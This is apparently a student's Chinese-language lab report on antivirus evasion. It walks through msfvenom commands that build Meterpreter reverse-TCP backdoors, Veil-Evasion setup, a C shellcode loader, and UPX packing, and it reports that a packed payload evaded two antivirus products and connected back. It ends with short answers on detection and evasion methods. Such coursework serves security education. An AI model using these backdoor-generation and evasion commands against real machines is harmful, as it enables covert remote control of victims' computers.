2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
一、实验内容
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
通过组合应用各种技术实现恶意代码免杀
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、实验步骤
任务一 正确使用免杀工具或技巧
1、使用msf编码器msfvenom生成后门程序
- 使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.196.200 LPORT=5315 -f exe > msf5315.exe
指令进行多次编码,生成.exe的后门程序
- 放到windows系统中,果不其然,杀软可以发现它
- 使用virscan进行扫描,结果如下所示:
有超过一半的杀软能查杀该后门程序
- 用
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.196.200 lport=5315 x> 5315met.jar
生成.jar的后门程序
- 使用msfconsole回连成功
- 放到windows系统中,杀软并没有发现它...我觉得可能是我的杀软太垃圾了...
- 使用virscan进行扫描,结果如下所示:
虽然好像检测率降低了,但是没有实现免杀,提示警告信息
2、使用veil-evasion生成后门程序
- 安装veil-evasion(参考安装教程)
使用代理安装的,有些包会下载安装失败,可以提前安装这些包,指令如下:(可以不做这一步)
# apt-get install libncurses5*
# apt-get install libavutil55*
# apt-get install gcc-mingw-w64*
# apt-get install wine32
再使用如下指令进行后续安装
# git clone https://github.com/Veil-Framework/Veil
# cd Veil/setup/
# ./setup.sh
以上过程比较漫长,需要一些耐心~
- 输入
veil
,启用veil
- 输入
use evasion
,进入veil-evasion - 输入
list
,查看可生成文件的格式
- 输入
use 7
,选择C语言格式 - 依次输入
set LHOST 192.168.196.200
和set LPORT 5315
设置反弹连接IP和端口 - 输入
generate
生成文件,再设置playload的名字:payload5315
- 生成成功
- 放到windows中,显示"文件所在的卷已被外部更改,文件不再有效",经过查杀,发现果然被发现了:
- 使用virscan进行扫描,结果如下所示:
查杀结果依然显示危险
3、利用shellcode编程生成后门程序
- 用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.196.200 LPORT=5315 -f c
生成一段shellcode
- 利用shellcode编写一个C语言程序后门,再用
i686-w64-mingw32-g++ shellcode5315.c -o shellcode5315.exe
编译运行后,测试其可用性
C语言代码如下:
unsigned char buf[] =
"此处复制粘贴之前用msf生成的buf"
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 复制到Windows中双击运行时显示"文件所在的卷已被外部更改,文件不再有效",通过查杀发现果然被杀软找到了:
- 使用virscan进行扫描,结果如下所示:
无法实现免杀
任务二 通过组合应用各种技术实现恶意代码免杀
对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的
payload5315.exe
可执行文件加UPX压缩壳尝试实现免杀被控机是Win7虚拟机,电脑杀软为腾讯电脑管家13.0.19837.233
- 使用virscan进行扫描,结果如下所示:
- windows杀软没有发现:
- 使用msfconsole回连成功:
不知道为什么,虽然windows杀软没查出来,但是在virscan中反而检测率很高了...
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
最后一项任务生成的后门程序在自己的windows虚拟机上可以实现免杀,但是在别人的电脑上尝试后发现不能回连,于是我开始找原因(过程令人头秃)...
我们先相互ping一下主机,都发现没有ping通,显示"TTL过期",这是两台主机不在一个网段导致的,于是我们尝试改变了一下网络适配器为“桥接模式”,于是...我的windows 成功的ping通了她的kali,然鹅她的ping不通我的kali,显示“无法访问目标主机”...但是她能ping通我的本机系统
-
我在网上查了一下,一般回答都列举出以下几个方面
- 本机虚拟机没有关闭防火墙...但是kali没有防火墙,不存在关闭开启之说
- 不在一个网段...这个刚刚修改过网段,不存在这个问题
- 本机网关设置错误...不存在这个问题
- 对方主机没关防火墙...尝试关了之后重启...好像成功了!!但是之前也尝试过关防火墙,但是也没有ping通,不知道这次为什么成功了,可能是因为重启了叭
以下是成功过程截图
和任务二一样,对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的payload5315.exe
可执行文件加UPX压缩壳尝试实现免杀
另一台被控机是Win10本机,电脑杀软为金山毒霸11.2019.1.1.032617.1335
- 我将文件发送到目标主机上,用杀软进行查杀,没有发现危险
- 双击运行后,我的kali的console实现回连(对方主机ip为10.1.1.175)
三、实验中遇到的问题
在安装运行Veil-Evasion时,遇到很多报错...换了好几个源文件,好几种方法都无法正常安装运行
解决过程:
一开始询问其他同学,发现安装好的同学的kali虚拟机是2019版的,而没安装好的同学基本是2018版,可能和虚拟机版和veil版本不匹配有关,于是我重新安装了2019版的kali虚拟机,将之前的文件拷贝进新的虚拟机,最终按照任务中的教程完成安装。
在使用veil的过程中选择python语言生成文件失败
解决过程:
通过学习学姐的博客,发现是python语言不可以使用的问题,所以按照同样的方法,选择别的语言,例如“c”试一下就行了。
在使用i686-mingw32-w64-g++编译器时,提示找不到该指令
解决过程:
一开始使用apt-get install i686-w64-mingw32
指令下载,显示定位不到软件包
后来使用update更新本地软件包后,可正常使用。
当我将生成的后门程序复制到windows上并双击运行时,显示"文件所在的卷已被外部更改,文件不再有效"
解决过程:
通过查询网络,只要关掉杀软就可以解决这个问题,这也从反面证明这个程序被杀软发现了才无法运行,而且通过杀软查杀也发现了该后门程序危险。
四、实验总结
1、基础问题回答
(1)杀软是如何检测出恶意代码的?
主要有三种方式:1)第一种是基于特征码的检测,特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。3)第三种是基于行为的恶意软件检测,是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
(2)免杀是做什么?
我认为是通过一些特殊的方法,如加壳、编码等,使杀软无法识别主机中的恶意代码。
(3)免杀的基本方法有哪些?
主要有三种方法:1)第一种是改变特征码,如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。2)第二种是改变行为,如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。3)第三种是非常规方法,如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。
2、实验总结和收获
这次实验是在前一个后门原理实验上的进阶,需要对后门技术的熟练掌握和运用。虽然此次实验比较基础,对一些现有平台的依赖性仍然很强,但却是一个良好的开端,能够为我们进一步深入研究免杀提供思路。
同时,我在打造免杀软件的过程也增加了危机意识,杀软杀不出来不代表绝对安全。想生成一个不被发现的后门其实也不是什么难事。所以平日要提高安全意识,不要随便在网上下载可执行文件,也不要点击可疑链接,尽量减少被植入后门的可能。
3、离实战还缺少的技术或步骤
我在实验中基本就是跟着指导指令一步一步走,没有什么技术含量,而且实验中的后门程序都是我们直接复制粘贴到靶机上的,但实际攻击的时候是不可能把一个赤裸裸的木马放过去的,所以要用一些木马伪装技术,包括木马捆绑、自解压木马、CHM木马等等。